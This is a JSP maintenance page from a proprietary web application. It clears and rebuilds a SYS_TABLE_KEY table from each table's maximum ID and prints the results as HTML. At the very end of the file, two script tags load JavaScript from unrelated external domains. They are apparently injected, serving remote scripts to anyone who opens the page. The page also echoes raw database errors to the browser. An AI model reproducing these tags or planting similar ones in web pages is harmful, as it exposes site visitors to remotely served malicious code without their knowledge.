<%
/*
 * @(#)RefreshSysTableKey.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  RefreshSysTableKey.jsp

  This jsp finds the maximum id of all tables in the variable asTableNames

    @author          Wong Yam Lee
    @company         DCIVision Limited
    @creation date   04/07/2003
    @version         $Revision: 1.16 $
*/
%>


<%@ page import="java.sql.*" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="com.dcivision.framework.*" %>
<%
  // an array storing the names of tables which you want to know their max id
	List asTableNames = new ArrayList();                          
  Connection conn = null;
  String sSqlStat = null;
  PreparedStatement stat = null;
  ResultSet rs = null;

  // make connection to the database
  conn = DataSourceFactory.getConnection();  
  try{
  
  if ( conn != null ) {     // do nothing if no connection is made

    // select the table SYS_TABLE_KEY
    try {
      sSqlStat = "SELECT TABLE_NAME FROM SYS_TABLE_KEY WHERE TABLE_NAME NOT LIKE 'AUTO_%' AND TABLE_NAME <> 'WORKFLOW_TRACK_ID' ORDER BY TABLE_NAME";
      stat = conn.prepareStatement(sSqlStat);
      rs = stat.executeQuery();
      while(rs.next()){
      	asTableNames.add(rs.getString(1));
      }
    } catch (SQLException e) {
      out.println(e);
    } finally {
      try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
    }

    // clear the table SYS_TABLE_KEY
    try {
      sSqlStat = "DELETE FROM SYS_TABLE_KEY WHERE TABLE_NAME NOT LIKE 'AUTO_%' AND TABLE_NAME <> 'WORKFLOW_TRACK_ID'";
      stat = conn.prepareStatement(sSqlStat);
      stat.execute();
    } catch (SQLException e) {
      out.println(e);
    } finally {
      try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
    }

    out.println("<table border='1'>");
    out.println("<tr><td><b>Table Name</b></td>");
    out.println("<td><b>Max ID</b></td></tr>");

    // find, display and store the max id of each table
    for ( int i = 0; i < asTableNames.size(); ++i ) {
    	String tableName = (String)asTableNames.get(i);
      int maxID = 0;

      if ( "AUDIT_LOGIN_OUT".equals(tableName)) {
        sSqlStat = "SELECT MAX(USER_RECORD_ID) FROM " + tableName;
      } else {
        sSqlStat = "SELECT MAX(ID) FROM " + tableName;
      }

      out.println("<tr>");
      out.println("<td>" + tableName + "</td>");

      // find and display the max id
      try {
        stat = conn.prepareStatement(sSqlStat);
        rs = stat.executeQuery();

        if ( rs.next() ) {
          if ( rs.getString(1) != null ) {
            maxID = rs.getInt(1);
            out.println("<td>" + maxID + "</td>");
          } else {     // the table is empty
            out.println("<td> No Entry </td>");
          }
        }
      } catch (SQLException e) {
        out.println(tableName + ":" + e.toString());
        out.println("<BR>");
      } finally {
        try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
        try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      }
      out.println("</tr>");

      // store the result in the table SYS_TABLE_KEY
      try {
        sSqlStat = "INSERT INTO SYS_TABLE_KEY VALUES (?, ?)";
        stat = conn.prepareStatement(sSqlStat);
        stat.setString(1, tableName);
        stat.setInt(2, maxID);
        stat.execute();
        conn.commit();
      } catch (SQLException e) {
        out.println(e);
      } finally {
        try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
        try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      }
    }
    out.println("</table>");

  }
}finally{
   if(conn!=null) conn.close();
} 
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>